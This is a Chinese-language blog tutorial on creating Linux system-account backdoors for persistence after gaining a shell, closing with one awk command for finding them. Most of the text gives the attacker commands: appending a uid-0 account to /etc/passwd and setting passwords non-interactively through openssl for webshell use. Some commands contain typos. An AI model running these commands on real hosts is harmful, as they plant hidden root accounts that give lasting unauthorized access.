Linux系统账户后门及排查

2022-12-11 10:48:09 浏览数 (1)

系统账户后门是一种最为简单有效的权限维持方式。攻击者在获取目标系统权限的前提下,通过创建一个系统账户作为持久化的据点,这样可以随时通过工具连接到目标系统,达到对目标主机进行长久控制的目的。根据获取的shell模式不同,创建系统账户的方式也不同,通常shell模式可以分为交互模式和非交互模式两种情况:

(1)当shell为交互模式时创建系统账户

当获取到目标系统的shell权限具有交互模式时,攻击者和目标系统可以进行数据交互,就可以根据系统反馈的提示信息创建系统账户和设置登录口令。如下我们可以使用usersdd和passwd指令创建test账户并对该账户设置登录口令。

代码语言:javascript复制
useradd test  #添加test账户
passwd test   #给test账户设置登录口令

也可以将test账户写入到/etc/passwd文件,然后通过passwd指令设置test系统账户的口令。

代码语言:javascript复制
echo "test:x:0:0::/:/bin/sh" >>/etc/passwd   #添加test账户
passwdtest                            #给test账户设置登录口令

(2)当shell为非交互模式时创建系统账户

当获取到目标系统的shell权限为非交互模式时,比如:webshell等,不能获取到系统的提示信息,也不能使用vim、vi等编辑工具时,就不能直接通过passwd指令设置登录口令了。此时,我们可以使用useradd创建test用户,使用` ` 符号是存放可执行的系统命令,设置该用户的登录口令。

代码语言:javascript复制
useradd -p `openssl passwd -1 -salt 'salt' 123456` test

通过useradd指令创建一个test系统账户,然后通过“echo -e“指令设置test系统账户的口令。

代码语言:javascript复制
useradd test;echo -e "123456n123456n" |passwd test

通过useradd指令创建一个test系统账户,"$()"也可以存放命令执行语句,设置该用户的登录口令。

代码语言:javascript复制
useradd -p "$(openssl passwd -1 123456)" test

如下是在root组创建一个test用户,设置该test用户的登录口令为123456,-u 0表示设置该用户的uid为0,-g root -G root 将用户添加到root组,-s /bin/bash 指定新建用户的shell路径。

代码语言:javascript复制
useradd -p `openssl passwd -1 -salt 'salt' 123456` test -o -u 0 -g root -G root -s /bin/bash -d /home/test

查询当前Linux系统隐藏的系统账户后门,可以通过查询/etc/passwd文件中的新增的潜藏用户,也可以通过awk指令查询uid=0和uid>=500的用户名,如图3-1-2 awk指令查询用户名。

代码语言:javascript复制
awk -F : '($3>=500 || $3==0){print $1}' /etc/passwd

0 人点赞